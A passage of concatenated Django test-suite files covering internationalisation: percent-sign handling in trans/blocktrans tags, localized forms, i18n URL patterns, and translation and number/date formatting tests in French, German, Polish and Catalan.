        trans_real._translations = self._translations
        activate(self._language)


class ExtractingStringsWithPercentSigns(POFileAssertionMixin, FrenchTestCase):
    """
    Tests the extracted string found in the gettext catalog.

    Ensures that percent signs are python formatted.

    These tests should all have an analogous translation tests below, ensuring
    the python formatting does not persist through to a rendered template.
    """

    def setUp(self):
        super(ExtractingStringsWithPercentSigns, self).setUp()
        with open(self.PO_FILE, 'r') as fp:
            self.po_contents = force_text(fp.read())

    def test_trans_tag_with_percent_symbol_at_the_end(self):
        self.assertMsgId('Literal with a percent symbol at the end %%', self.po_contents)

    def test_trans_tag_with_percent_symbol_in_the_middle(self):
        self.assertMsgId('Literal with a percent %% symbol in the middle', self.po_contents)
        self.assertMsgId('It is 100%%', self.po_contents)

    def test_trans_tag_with_string_that_look_like_fmt_spec(self):
        self.assertMsgId('Looks like a str fmt spec %%s but should not be interpreted as such', self.po_contents)
        self.assertMsgId('Looks like a str fmt spec %% o but should not be interpreted as such', self.po_contents)

    def test_adds_python_format_to_all_percent_signs(self):
        self.assertMsgId('1 percent sign %%, 2 percent signs %%%%, 3 percent signs %%%%%%', self.po_contents)
        self.assertMsgId('%(name)s says: 1 percent sign %%, 2 percent signs %%%%', self.po_contents)


class RenderingTemplatesWithPercentSigns(FrenchTestCase):
    """
    Test rendering of templates that use percent signs.

    Ensures both trans and blocktrans tags behave consistently.

    Refs #11240, #11966, #24257
    """

    def test_translates_with_a_percent_symbol_at_the_end(self):
        expected = 'Littérale avec un symbole de pour cent à la fin %'

        trans_tpl = Template('{% load i18n %}{% trans "Literal with a percent symbol at the end %" %}')
        self.assertEqual(trans_tpl.render(Context({})), expected)

        block_tpl = Template(
            '{% load i18n %}{% blocktrans %}Literal with a percent symbol at '
            'the end %{% endblocktrans %}'
        )
        self.assertEqual(block_tpl.render(Context({})), expected)

    def test_translates_with_percent_symbol_in_the_middle(self):
        expected = 'Pour cent littérale % avec un symbole au milieu'

        trans_tpl = Template('{% load i18n %}{% trans "Literal with a percent % symbol in the middle" %}')
        self.assertEqual(trans_tpl.render(Context({})), expected)

        block_tpl = Template(
            '{% load i18n %}{% blocktrans %}Literal with a percent % symbol '
            'in the middle{% endblocktrans %}'
        )
        self.assertEqual(block_tpl.render(Context({})), expected)

    def test_translates_with_percent_symbol_using_context(self):
        trans_tpl = Template('{% load i18n %}{% trans "It is 100%" %}')
        self.assertEqual(trans_tpl.render(Context({})), 'Il est de 100%')
        trans_tpl = Template('{% load i18n %}{% trans "It is 100%" context "female" %}')
        self.assertEqual(trans_tpl.render(Context({})), 'Elle est de 100%')

        block_tpl = Template('{% load i18n %}{% blocktrans %}It is 100%{% endblocktrans %}')
        self.assertEqual(block_tpl.render(Context({})), 'Il est de 100%')
        block_tpl = Template('{% load i18n %}{% blocktrans context "female" %}It is 100%{% endblocktrans %}')
        self.assertEqual(block_tpl.render(Context({})), 'Elle est de 100%')

    def test_translates_with_string_that_look_like_fmt_spec_with_trans(self):
        # tests "%s"
        expected = ('On dirait un spec str fmt %s mais ne devrait pas être interprété comme plus disponible')
        trans_tpl = Template(
            '{% load i18n %}{% trans "Looks like a str fmt spec %s but '
            'should not be interpreted as such" %}'
        )
        self.assertEqual(trans_tpl.render(Context({})), expected)
        block_tpl = Template(
            '{% load i18n %}{% blocktrans %}Looks like a str fmt spec %s but '
            'should not be interpreted as such{% endblocktrans %}'
        )
        self.assertEqual(block_tpl.render(Context({})), expected)

        # tests "% o"
        expected = ('On dirait un spec str fmt % o mais ne devrait pas être interprété comme plus disponible')
        trans_tpl = Template(
            '{% load i18n %}{% trans "Looks like a str fmt spec % o but should not be '
            'interpreted as such" %}'
        )
        self.assertEqual(trans_tpl.render(Context({})), expected)
        block_tpl = Template(
            '{% load i18n %}{% blocktrans %}Looks like a str fmt spec % o but should not be '
            'interpreted as such{% endblocktrans %}'
        )
        self.assertEqual(block_tpl.render(Context({})), expected)

    def test_translates_multiple_percent_signs(self):
        expected = ('1 % signe pour cent, signes %% 2 pour cent, trois signes de pourcentage %%%')

        trans_tpl = Template(
            '{% load i18n %}{% trans "1 percent sign %, 2 percent signs %%, '
            '3 percent signs %%%" %}'
        )
        self.assertEqual(trans_tpl.render(Context({})), expected)
        block_tpl = Template(
            '{% load i18n %}{% blocktrans %}1 percent sign %, 2 percent signs '
            '%%, 3 percent signs %%%{% endblocktrans %}'
        )
        self.assertEqual(block_tpl.render(Context({})), expected)

        block_tpl = Template(
            '{% load i18n %}{% blocktrans %}{{name}} says: 1 percent sign %, '
            '2 percent signs %%{% endblocktrans %}'
        )
        self.assertEqual(
            block_tpl.render(Context({"name": "Django"})),
            'Django dit: 1 pour cent signe %, deux signes de pourcentage %%'
        )






from django import forms

from .models import Company


class I18nForm(forms.Form):
    decimal_field = forms.DecimalField(localize=True)
    float_field = forms.FloatField(localize=True)
    date_field = forms.DateField(localize=True)
    datetime_field = forms.DateTimeField(localize=True)
    time_field = forms.TimeField(localize=True)
    integer_field = forms.IntegerField(localize=True)


class SelectDateForm(forms.Form):
    date_field = forms.DateField(widget=forms.SelectDateWidget)


class CompanyForm(forms.ModelForm):
    cents_paid = forms.DecimalField(max_digits=4, decimal_places=2, localize=True)
    products_delivered = forms.IntegerField(localize=True)
    date_added = forms.DateTimeField(localize=True)

    class Meta:
        model = Company
        fields = '__all__'






from __future__ import unicode_literals

from django.conf.urls import url
from django.conf.urls.i18n import i18n_patterns
from django.http import HttpResponse, StreamingHttpResponse
from django.utils.translation import ugettext_lazy as _

urlpatterns = i18n_patterns(
    url(r'^simple/$', lambda r: HttpResponse()),
    url(r'^streaming/$', lambda r: StreamingHttpResponse([_("Yes"), "/", _("No")])),
)












# -*- encoding: utf-8 -*-
from __future__ import unicode_literals

import datetime
import decimal
import gettext as gettext_module
import os
import pickle
from contextlib import contextmanager
from importlib import import_module
from threading import local
from unittest import skipUnless

from django import forms
from django.conf import settings
from django.conf.urls.i18n import i18n_patterns
from django.template import Context, Template, TemplateSyntaxError
from django.test import (
    RequestFactory, SimpleTestCase, TestCase, override_settings,
)
from django.utils import six, translation
from django.utils._os import upath
from django.utils.formats import (
    date_format, get_format, get_format_modules, iter_format_modules, localize,
    localize_input, reset_format_cache, sanitize_separators, time_format,
)
from django.utils.numberformat import format as nformat
from django.utils.safestring import SafeBytes, SafeString, SafeText, mark_safe
from django.utils.six import PY3
from django.utils.translation import (
    LANGUAGE_SESSION_KEY, activate, check_for_language, deactivate,
    get_language, get_language_bidi, get_language_from_request,
    get_language_info, gettext, gettext_lazy, ngettext_lazy, npgettext,
    npgettext_lazy, pgettext, pgettext_lazy, string_concat, to_locale,
    trans_real, ugettext, ugettext_lazy, ungettext, ungettext_lazy,
)

from .forms import CompanyForm, I18nForm, SelectDateForm
from .models import Company, TestModel

here = os.path.dirname(os.path.abspath(upath(__file__)))
extended_locale_paths = settings.LOCALE_PATHS + [
    os.path.join(here, 'other', 'locale'),
]


@contextmanager
def patch_formats(lang, **settings):
    from django.utils.formats import _format_cache

    # Populate _format_cache with temporary values
    for key, value in settings.items():
        _format_cache[(key, lang)] = value
    try:
        yield
    finally:
        reset_format_cache()


class TranslationTests(SimpleTestCase):

    @translation.override('fr')
    def test_plural(self):
        """
        Test plurals with ungettext. French differs from English in that 0 is singular.
        """
        self.assertEqual(ungettext("%d year", "%d years", 0) % 0, "0 année")
        self.assertEqual(ungettext("%d year", "%d years", 2) % 2, "2 années")
        self.assertEqual(ungettext("%(size)d byte", "%(size)d bytes", 0) % {'size': 0}, "0 octet")
        self.assertEqual(ungettext("%(size)d byte", "%(size)d bytes", 2) % {'size': 2}, "2 octets")

    def test_override(self):
        activate('de')
        try:
            with translation.override('pl'):
                self.assertEqual(get_language(), 'pl')
            self.assertEqual(get_language(), 'de')
            with translation.override(None):
                self.assertIsNone(get_language())
                with translation.override('pl'):
                    pass
                self.assertIsNone(get_language())
            self.assertEqual(get_language(), 'de')
        finally:
            deactivate()

    def test_override_decorator(self):

        @translation.override('pl')
        def func_pl():
            self.assertEqual(get_language(), 'pl')

        @translation.override(None)
        def func_none():
            self.assertIsNone(get_language())

        try:
            activate('de')
            func_pl()
            self.assertEqual(get_language(), 'de')
            func_none()
            self.assertEqual(get_language(), 'de')
        finally:
            deactivate()

    def test_override_exit(self):
        """
        Test that the language restored is the one used when the function was
        called, not the one used when the decorator was initialized. refs #23381
        """
        activate('fr')

        @translation.override('pl')
        def func_pl():
            pass
        deactivate()

        try:
            activate('en')
            func_pl()
            self.assertEqual(get_language(), 'en')
        finally:
            deactivate()

    def test_lazy_objects(self):
        """
        Format string interpolation should work with *_lazy objects.
        """
        s = ugettext_lazy('Add %(name)s')
        d = {'name': 'Ringo'}
        self.assertEqual('Add Ringo', s % d)
        with translation.override('de', deactivate=True):
            self.assertEqual('Ringo hinzuf\xfcgen', s % d)
            with translation.override('pl'):
                self.assertEqual('Dodaj Ringo', s % d)

        # It should be possible to compare *_lazy objects.
        s1 = ugettext_lazy('Add %(name)s')
        self.assertEqual(s, s1)
        s2 = gettext_lazy('Add %(name)s')
        s3 = gettext_lazy('Add %(name)s')
        self.assertEqual(s2, s3)
        self.assertEqual(s, s2)
        s4 = ugettext_lazy('Some other string')
        self.assertNotEqual(s, s4)

    @skipUnless(six.PY2, "No more bytestring translations on PY3")
    def test_bytestrings(self):
        """gettext() returns a bytestring if input is bytestring."""

        # Using repr() to check translated text and type
        self.assertEqual(repr(gettext(b"Time")), repr(b"Time"))
        self.assertEqual(repr(gettext("Time")), repr("Time"))

        with translation.override('de', deactivate=True):
            self.assertEqual(repr(gettext(b"Time")), repr(b"Zeit"))
            self.assertEqual(repr(gettext("Time")), repr(b"Zeit"))

    @skipUnless(six.PY2, "No more bytestring translations on PY3")
    def test_lazy_and_bytestrings(self):
        # On Python 2, (n)gettext_lazy should not transform a bytestring to unicode
        self.assertEqual(gettext_lazy(b"test").upper(), b"TEST")
        self.assertEqual((ngettext_lazy(b"%d test", b"%d tests") % 1).upper(), b"1 TEST")

        # Other versions of lazy functions always return unicode
        self.assertEqual(ugettext_lazy(b"test").upper(), "TEST")
        self.assertEqual((ungettext_lazy(b"%d test", b"%d tests") % 1).upper(), "1 TEST")
        self.assertEqual(pgettext_lazy(b"context", b"test").upper(), "TEST")
        self.assertEqual(
            (npgettext_lazy(b"context", b"%d test", b"%d tests") % 1).upper(),
            "1 TEST"
        )

    def test_lazy_pickle(self):
        s1 = ugettext_lazy("test")
        self.assertEqual(six.text_type(s1), "test")
        s2 = pickle.loads(pickle.dumps(s1))
        self.assertEqual(six.text_type(s2), "test")

    @override_settings(LOCALE_PATHS=extended_locale_paths)
    def test_ungettext_lazy(self):
        simple_with_format = ungettext_lazy('%d good result', '%d good results')
        simple_str_with_format = ngettext_lazy(str('%d good result'), str('%d good results'))
        simple_context_with_format = npgettext_lazy('Exclamation', '%d good result', '%d good results')
        simple_without_format = ungettext_lazy('good result', 'good results')
        with translation.override('de'):
            self.assertEqual(simple_with_format % 1, '1 gutes Resultat')
            self.assertEqual(simple_with_format % 4, '4 guten Resultate')
            self.assertEqual(simple_str_with_format % 1, str('1 gutes Resultat'))
            self.assertEqual(simple_str_with_format % 4, str('4 guten Resultate'))
            self.assertEqual(simple_context_with_format % 1, '1 gutes Resultat!')
            self.assertEqual(simple_context_with_format % 4, '4 guten Resultate!')
            self.assertEqual(simple_without_format % 1, 'gutes Resultat')
            self.assertEqual(simple_without_format % 4, 'guten Resultate')

        complex_nonlazy = ungettext_lazy('Hi %(name)s, %(num)d good result', 'Hi %(name)s, %(num)d good results', 4)
        complex_deferred = ungettext_lazy(
            'Hi %(name)s, %(num)d good result', 'Hi %(name)s, %(num)d good results', 'num'
        )
        complex_str_nonlazy = ngettext_lazy(
            str('Hi %(name)s, %(num)d good result'), str('Hi %(name)s, %(num)d good results'), 4
        )
        complex_str_deferred = ngettext_lazy(
            str('Hi %(name)s, %(num)d good result'), str('Hi %(name)s, %(num)d good results'), 'num'
        )
        complex_context_nonlazy = npgettext_lazy(
            'Greeting', 'Hi %(name)s, %(num)d good result', 'Hi %(name)s, %(num)d good results', 4
        )
        complex_context_deferred = npgettext_lazy(
            'Greeting', 'Hi %(name)s, %(num)d good result', 'Hi %(name)s, %(num)d good results', 'num'
        )
        with translation.override('de'):
            self.assertEqual(complex_nonlazy % {'num': 4, 'name': 'Jim'}, 'Hallo Jim, 4 guten Resultate')
            self.assertEqual(complex_deferred % {'name': 'Jim', 'num': 1}, 'Hallo Jim, 1 gutes Resultat')
            self.assertEqual(complex_deferred % {'name': 'Jim', 'num': 5}, 'Hallo Jim, 5 guten Resultate')
            with six.assertRaisesRegex(self, KeyError, 'Your dictionary lacks key.*'):
                complex_deferred % {'name': 'Jim'}
            self.assertEqual(complex_str_nonlazy % {'num': 4, 'name': 'Jim'}, str('Hallo Jim, 4 guten Resultate'))
            self.assertEqual(complex_str_deferred % {'name': 'Jim', 'num': 1}, str('Hallo Jim, 1 gutes Resultat'))
            self.assertEqual(complex_str_deferred % {'name': 'Jim', 'num': 5}, str('Hallo Jim, 5 guten Resultate'))
            with six.assertRaisesRegex(self, KeyError, 'Your dictionary lacks key.*'):
                complex_str_deferred % {'name': 'Jim'}
            self.assertEqual(complex_context_nonlazy % {'num': 4, 'name': 'Jim'}, 'Willkommen Jim, 4 guten Resultate')
            self.assertEqual(complex_context_deferred % {'name': 'Jim', 'num': 1}, 'Willkommen Jim, 1 gutes Resultat')
            self.assertEqual(complex_context_deferred % {'name': 'Jim', 'num': 5}, 'Willkommen Jim, 5 guten Resultate')
            with six.assertRaisesRegex(self, KeyError, 'Your dictionary lacks key.*'):
                complex_context_deferred % {'name': 'Jim'}

    @skipUnless(six.PY2, "PY3 doesn't have distinct int and long types")
    def test_ungettext_lazy_long(self):
        """
        Regression test for #22820: int and long should be treated alike in ungettext_lazy.
        """
        result = ungettext_lazy('%(name)s has %(num)d good result', '%(name)s has %(num)d good results', 4)
        self.assertEqual(result % {'name': 'Joe', 'num': 4}, "Joe has 4 good results")
        # Now with a long
        result = ungettext_lazy(
            '%(name)s has %(num)d good result', '%(name)s has %(num)d good results',
            long(4)   # NOQA: long undefined on PY3
        )
        self.assertEqual(result % {'name': 'Joe', 'num': 4}, "Joe has 4 good results")

    def test_ungettext_lazy_bool(self):
        self.assertTrue(ungettext_lazy('%d good result', '%d good results'))
        self.assertFalse(ungettext_lazy('', ''))

    def test_ungettext_lazy_pickle(self):
        s1 = ungettext_lazy('%d good result', '%d good results')
        self.assertEqual(s1 % 1, '1 good result')
        self.assertEqual(s1 % 8, '8 good results')
        s2 = pickle.loads(pickle.dumps(s1))
        self.assertEqual(s2 % 1, '1 good result')
        self.assertEqual(s2 % 8, '8 good results')

    @override_settings(LOCALE_PATHS=extended_locale_paths)
    def test_pgettext(self):
        trans_real._active = local()
        trans_real._translations = {}
        with translation.override('de'):
            self.assertEqual(pgettext("unexisting", "May"), "May")
            self.assertEqual(pgettext("month name", "May"), "Mai")
            self.assertEqual(pgettext("verb", "May"), "Kann")
            self.assertEqual(npgettext("search", "%d result", "%d results", 4) % 4, "4 Resultate")

    @override_settings(LOCALE_PATHS=extended_locale_paths)
    def test_template_tags_pgettext(self):
        """
        Ensure that message contexts are taken into account the {% trans %} and
        {% blocktrans %} template tags.
        Refs #14806.
        """
        trans_real._active = local()
        trans_real._translations = {}
        with translation.override('de'):

            # {% trans %} -----------------------------------

            # Inexisting context...
            t = Template('{% load i18n %}{% trans "May" context "unexisting" %}')
            rendered = t.render(Context())
            self.assertEqual(rendered, 'May')

            # Existing context...
            # Using a literal
            t = Template('{% load i18n %}{% trans "May" context "month name" %}')
            rendered = t.render(Context())
            self.assertEqual(rendered, 'Mai')
            t = Template('{% load i18n %}{% trans "May" context "verb" %}')
            rendered = t.render(Context())
            self.assertEqual(rendered, 'Kann')

            # Using a variable
            t = Template('{% load i18n %}{% trans "May" context message_context %}')
            rendered = t.render(Context({'message_context': 'month name'}))
            self.assertEqual(rendered, 'Mai')
            t = Template('{% load i18n %}{% trans "May" context message_context %}')
            rendered = t.render(Context({'message_context': 'verb'}))
            self.assertEqual(rendered, 'Kann')

            # Using a filter
            t = Template('{% load i18n %}{% trans "May" context message_context|lower %}')
            rendered = t.render(Context({'message_context': 'MONTH NAME'}))
            self.assertEqual(rendered, 'Mai')
            t = Template('{% load i18n %}{% trans "May" context message_context|lower %}')
            rendered = t.render(Context({'message_context': 'VERB'}))
            self.assertEqual(rendered, 'Kann')

            # Using 'as'
            t = Template('{% load i18n %}{% trans "May" context "month name" as var %}Value: {{ var }}')
            rendered = t.render(Context())
            self.assertEqual(rendered, 'Value: Mai')
            t = Template('{% load i18n %}{% trans "May" as var context "verb" %}Value: {{ var }}')
            rendered = t.render(Context())
            self.assertEqual(rendered, 'Value: Kann')

            # {% blocktrans %} ------------------------------

            # Inexisting context...
            t = Template('{% load i18n %}{% blocktrans context "unexisting" %}May{% endblocktrans %}')
            rendered = t.render(Context())
            self.assertEqual(rendered, 'May')

            # Existing context...
            # Using a literal
            t = Template('{% load i18n %}{% blocktrans context "month name" %}May{% endblocktrans %}')
            rendered = t.render(Context())
            self.assertEqual(rendered, 'Mai')
            t = Template('{% load i18n %}{% blocktrans context "verb" %}May{% endblocktrans %}')
            rendered = t.render(Context())
            self.assertEqual(rendered, 'Kann')

            # Using a variable
            t = Template('{% load i18n %}{% blocktrans context message_context %}May{% endblocktrans %}')
            rendered = t.render(Context({'message_context': 'month name'}))
            self.assertEqual(rendered, 'Mai')
            t = Template('{% load i18n %}{% blocktrans context message_context %}May{% endblocktrans %}')
            rendered = t.render(Context({'message_context': 'verb'}))
            self.assertEqual(rendered, 'Kann')

            # Using a filter
            t = Template('{% load i18n %}{% blocktrans context message_context|lower %}May{% endblocktrans %}')
            rendered = t.render(Context({'message_context': 'MONTH NAME'}))
            self.assertEqual(rendered, 'Mai')
            t = Template('{% load i18n %}{% blocktrans context message_context|lower %}May{% endblocktrans %}')
            rendered = t.render(Context({'message_context': 'VERB'}))
            self.assertEqual(rendered, 'Kann')

            # Using 'count'
            t = Template(
                '{% load i18n %}{% blocktrans count number=1 context "super search" %}'
                '{{ number }} super result{% plural %}{{ number }} super results{% endblocktrans %}'
            )
            rendered = t.render(Context())
            self.assertEqual(rendered, '1 Super-Ergebnis')
            t = Template(
                '{% load i18n %}{% blocktrans count number=2 context "super search" %}{{ number }}'
                ' super result{% plural %}{{ number }} super results{% endblocktrans %}'
            )
            rendered = t.render(Context())
            self.assertEqual(rendered, '2 Super-Ergebnisse')
            t = Template(
                '{% load i18n %}{% blocktrans context "other super search" count number=1 %}'
                '{{ number }} super result{% plural %}{{ number }} super results{% endblocktrans %}'
            )
            rendered = t.render(Context())
            self.assertEqual(rendered, '1 anderen Super-Ergebnis')
            t = Template(
                '{% load i18n %}{% blocktrans context "other super search" count number=2 %}'
                '{{ number }} super result{% plural %}{{ number }} super results{% endblocktrans %}'
            )
            rendered = t.render(Context())
            self.assertEqual(rendered, '2 andere Super-Ergebnisse')

            # Using 'with'
            t = Template(
                '{% load i18n %}{% blocktrans with num_comments=5 context "comment count" %}'
                'There are {{ num_comments }} comments{% endblocktrans %}'
            )
            rendered = t.render(Context())
            self.assertEqual(rendered, 'Es gibt 5 Kommentare')
            t = Template(
                '{% load i18n %}{% blocktrans with num_comments=5 context "other comment count" %}'
                'There are {{ num_comments }} comments{% endblocktrans %}'
            )
            rendered = t.render(Context())
            self.assertEqual(rendered, 'Andere: Es gibt 5 Kommentare')

            # Using trimmed
            t = Template(
                '{% load i18n %}{% blocktrans trimmed %}\n\nThere\n\t are 5  '
                '\n\n   comments\n{% endblocktrans %}'
            )
            rendered = t.render(Context())
            self.assertEqual(rendered, 'There are 5 comments')
            t = Template(
                '{% load i18n %}{% blocktrans with num_comments=5 context "comment count" trimmed %}\n\n'
                'There are  \t\n  \t {{ num_comments }} comments\n\n{% endblocktrans %}'
            )
            rendered = t.render(Context())
            self.assertEqual(rendered, 'Es gibt 5 Kommentare')
            t = Template(
                '{% load i18n %}{% blocktrans context "other super search" count number=2 trimmed %}\n'
                '{{ number }} super \n result{% plural %}{{ number }} super results{% endblocktrans %}'
            )
            rendered = t.render(Context())
            self.assertEqual(rendered, '2 andere Super-Ergebnisse')

            # Mis-uses
            with self.assertRaises(TemplateSyntaxError):
                Template('{% load i18n %}{% blocktrans context with month="May" %}{{ month }}{% endblocktrans %}')
            with self.assertRaises(TemplateSyntaxError):
                Template('{% load i18n %}{% blocktrans context %}{% endblocktrans %}')
            with self.assertRaises(TemplateSyntaxError):
                Template(
                    '{% load i18n %}{% blocktrans count number=2 context %}'
                    '{{ number }} super result{% plural %}{{ number }}'
                    ' super results{% endblocktrans %}'
                )

    def test_string_concat(self):
        """
        six.text_type(string_concat(...)) should not raise a TypeError - #4796
        """
        self.assertEqual('django', six.text_type(string_concat("dja", "ngo")))

    def test_empty_value(self):
        """
        Empty value must stay empty after being translated (#23196).
        """
        with translation.override('de'):
            self.assertEqual("", ugettext(""))
            self.assertEqual(str(""), gettext(str("")))
            s = mark_safe("")
            self.assertEqual(s, ugettext(s))

    def test_safe_status(self):
        """
        Translating a string requiring no auto-escaping shouldn't change the "safe" status.
        """
        s = mark_safe(str('Password'))
        self.assertEqual(SafeString, type(s))
        with translation.override('de', deactivate=True):
            self.assertEqual(SafeText, type(ugettext(s)))
        self.assertEqual('aPassword', SafeText('a') + s)
        self.assertEqual('Passworda', s + SafeText('a'))
        self.assertEqual('Passworda', s + mark_safe('a'))
        self.assertEqual('aPassword', mark_safe('a') + s)
        self.assertEqual('as', mark_safe('a') + mark_safe('s'))

    def test_maclines(self):
        """
        Translations on files with mac or dos end of lines will be converted
        to unix eof in .po catalogs, and they have to match when retrieved
        """
        ca_translation = trans_real.translation('ca')
        ca_translation._catalog['Mac\nEOF\n'] = 'Catalan Mac\nEOF\n'
        ca_translation._catalog['Win\nEOF\n'] = 'Catalan Win\nEOF\n'
        with translation.override('ca', deactivate=True):
            self.assertEqual('Catalan Mac\nEOF\n', ugettext('Mac\rEOF\r'))
            self.assertEqual('Catalan Win\nEOF\n', ugettext('Win\r\nEOF\r\n'))

    def test_to_locale(self):
        """
        Tests the to_locale function and the special case of Serbian Latin
        (refs #12230 and r11299)
        """
        self.assertEqual(to_locale('en-us'), 'en_US')
        self.assertEqual(to_locale('sr-lat'), 'sr_Lat')

    def test_to_language(self):
        """
        Test the to_language function
        """
        self.assertEqual(trans_real.to_language('en_US'), 'en-us')
        self.assertEqual(trans_real.to_language('sr_Lat'), 'sr-lat')

    def test_language_bidi(self):
        self.assertIs(get_language_bidi(), False)
        with translation.override(None):
            self.assertIs(get_language_bidi(), False)

    @override_settings(LOCALE_PATHS=[os.path.join(here, 'other', 'locale')])
    def test_bad_placeholder_1(self):
        """
        Error in translation file should not crash template rendering
        (%(person)s is translated as %(personne)s in fr.po)
        Refs #16516.
        """
        with translation.override('fr'):
            t = Template('{% load i18n %}{% blocktrans %}My name is {{ person }}.{% endblocktrans %}')
            rendered = t.render(Context({'person': 'James'}))
            self.assertEqual(rendered, 'My name is James.')

    @override_settings(LOCALE_PATHS=[os.path.join(here, 'other', 'locale')])
    def test_bad_placeholder_2(self):
        """
        Error in translation file should not crash template rendering
        (%(person) misses a 's' in fr.po, causing the string formatting to fail)
        Refs #18393.
        """
        with translation.override('fr'):
            t = Template('{% load i18n %}{% blocktrans %}My other name is {{ person }}.{% endblocktrans %}')
            rendered = t.render(Context({'person': 'James'}))
            self.assertEqual(rendered, 'My other name is James.')


class TranslationThreadSafetyTests(SimpleTestCase):

    def setUp(self):
        self._old_language = get_language()
        self._translations = trans_real._translations

        # here we rely on .split() being called inside the _fetch()
        # in trans_real.translation()
        class sideeffect_str(str):
            def split(self, *args, **kwargs):
                res = str.split(self, *args, **kwargs)
                trans_real._translations['en-YY'] = None
                return res

        trans_real._translations = {sideeffect_str('en-XX'): None}

    def tearDown(self):
        trans_real._translations = self._translations
        activate(self._old_language)

    def test_bug14894_translation_activate_thread_safety(self):
        translation_count = len(trans_real._translations)
        # May raise RuntimeError if translation.activate() isn't thread-safe.
        translation.activate('pl')
        # make sure sideeffect_str actually added a new translation
        self.assertLess(translation_count, len(trans_real._translations))


@override_settings(USE_L10N=True)
class FormattingTests(SimpleTestCase):

    def setUp(self):
        super(FormattingTests, self).setUp()
        self.n = decimal.Decimal('66666.666')
        self.f = 99999.999
        self.d = datetime.date(2009, 12, 31)
        self.dt = datetime.datetime(2009, 12, 31, 20, 50)
        self.t = datetime.time(10, 15, 48)
        self.l = 10000 if PY3 else long(10000)  # NOQA: long undefined on PY3
        self.ctxt = Context({
            'n': self.n,
            't': self.t,
            'd': self.d,
            'dt': self.dt,
            'f': self.f,
            'l': self.l,
        })

    def test_locale_independent(self):
        """
        Localization of numbers
        """
        with self.settings(USE_THOUSAND_SEPARATOR=False):
            self.assertEqual('66666.66', nformat(self.n, decimal_sep='.', decimal_pos=2, grouping=3, thousand_sep=','))
            self.assertEqual('66666A6', nformat(self.n, decimal_sep='A', decimal_pos=1, grouping=1, thousand_sep='B'))
            self.assertEqual('66666', nformat(self.n, decimal_sep='X', decimal_pos=0, grouping=1, thousand_sep='Y'))

        with self.settings(USE_THOUSAND_SEPARATOR=True):
            self.assertEqual(
                '66,666.66',
                nformat(self.n, decimal_sep='.', decimal_pos=2, grouping=3, thousand_sep=',')
            )
            self.assertEqual(
                '6B6B6B6B6A6',
                nformat(self.n, decimal_sep='A', decimal_pos=1, grouping=1, thousand_sep='B')
            )
            self.assertEqual('-66666.6', nformat(-66666.666, decimal_sep='.', decimal_pos=1))
            self.assertEqual('-66666.0', nformat(int('-66666'), decimal_sep='.', decimal_pos=1))
            self.assertEqual('10000.0', nformat(self.l, decimal_sep='.', decimal_pos=1))
            self.assertEqual(
                '10,00,00,000.00',
                nformat(100000000.00, decimal_sep='.', decimal_pos=2, grouping=(3, 2, 0), thousand_sep=',')
            )
            self.assertEqual(
                '1,0,00,000,0000.00',
                nformat(10000000000.00, decimal_sep='.', decimal_pos=2, grouping=(4, 3, 2, 1, 0), thousand_sep=',')
            )
            self.assertEqual(
                '10000,00,000.00',
                nformat(1000000000.00, decimal_sep='.', decimal_pos=2, grouping=(3, 2, -1), thousand_sep=',')
            )
            # This unusual grouping/force_grouping combination may be triggered by the intcomma filter (#17414)
            self.assertEqual('10000', nformat(self.l, decimal_sep='.', decimal_pos=0, grouping=0, force_grouping=True))

            # date filter
            self.assertEqual('31.12.2009 в 20:50', Template('{{ dt|date:"d.m.Y в H:i" }}').render(self.ctxt))
            self.assertEqual('⌚ 10:15', Template('{{ t|time:"⌚ H:i" }}').render(self.ctxt))

    @override_settings(USE_L10N=False)
    def test_l10n_disabled(self):
        """
        Catalan locale with format i18n disabled translations will be used,
        but not formats
        """
        with translation.override('ca', deactivate=True):
            self.maxDiff = 3000
            self.assertEqual('N j, Y', get_format('DATE_FORMAT'))
            self.assertEqual(0, get_format('FIRST_DAY_OF_WEEK'))
            self.assertEqual('.', get_format('DECIMAL_SEPARATOR'))
            self.assertEqual('10:15 a.m.', time_format(self.t))
            self.assertEqual('des. 31, 2009', date_format(self.d))
            self.assertEqual('desembre 2009', date_format(self.d, 'YEAR_MONTH_FORMAT'))
            self.assertEqual('12/31/2009 8:50 p.m.', date_format(self.dt, 'SHORT_DATETIME_FORMAT'))
            self.assertEqual('No localizable', localize('No localizable'))
            self.assertEqual('66666.666', localize(self.n))
            self.assertEqual('99999.999', localize(self.f))
            self.assertEqual('10000', localize(self.l))
            self.assertEqual('des. 31, 2009', localize(self.d))
            self.assertEqual('des. 31, 2009, 8:50 p.m.', localize(self.dt))
            self.assertEqual('66666.666', Template('{{ n }}').render(self.ctxt))
            self.assertEqual('99999.999', Template('{{ f }}').render(self.ctxt))
            self.assertEqual('des. 31, 2009', Template('{{ d }}').render(self.ctxt))
            self.assertEqual('des. 31, 2009, 8:50 p.m.', Template('{{ dt }}').render(self.ctxt))
            self.assertEqual('66666.67', Template('{{ n|floatformat:2 }}').render(self.ctxt))
            self.assertEqual('100000.0', Template('{{ f|floatformat }}').render(self.ctxt))
            self.assertEqual('10:15 a.m.', Template('{{ t|time:"TIME_FORMAT" }}').render(self.ctxt))
            self.assertEqual('12/31/2009', Template('{{ d|date:"SHORT_DATE_FORMAT" }}').render(self.ctxt))
            self.assertEqual(
                '12/31/2009 8:50 p.m.', Template('{{ dt|date:"SHORT_DATETIME_FORMAT" }}').render(self.ctxt)
            )

            form = I18nForm({
                'decimal_field': '66666,666',
                'float_field': '99999,999',
                'date_field': '31/12/2009',
                'datetime_field': '31/12/2009 20:50',
                'time_field': '20:50',
                'integer_field': '1.234',
            })
            self.assertFalse(form.is_valid())
            self.assertEqual(['Introdu\xefu un n\xfamero.'], form.errors['float_field'])
            self.assertEqual(['Introdu\xefu un n\xfamero.'], form.errors['decimal_field'])
            self.assertEqual(['Introdu\xefu una data v\xe0lida.'], form.errors['date_field'])
            self.assertEqual(['Introdu\xefu una data/hora v\xe0lides.'], form.errors['datetime_field'])
            self.assertEqual(['Introdu\xefu un n\xfamero sencer.'], form.errors['integer_field'])

            form2 = SelectDateForm({
                'date_field_month': '12',
                'date_field_day': '31',
                'date_field_year': '2009'
            })
            self.assertTrue(form2.is_valid())
            self.assertEqual(datetime.date(2009, 12, 31), form2.cleaned_data['date_field'])
            self.assertHTMLEqual(
                '<select name="mydate_month" id="id_mydate_month">'
                '<option value="0">---</option>'
                '<option value="1">gener</option>'
                '<option value="2">febrer</option>'
                '<option value="3">mar\xe7</option>'
                '<option value="4">abril</option>'
                '<option value="5">maig</option>'
                '<option value="6">juny</option>'
                '<option value="7">juliol</option>'
                '<option value="8">agost</option>'
                '<option value="9">setembre</option>'
                '<option value="10">octubre</option>'
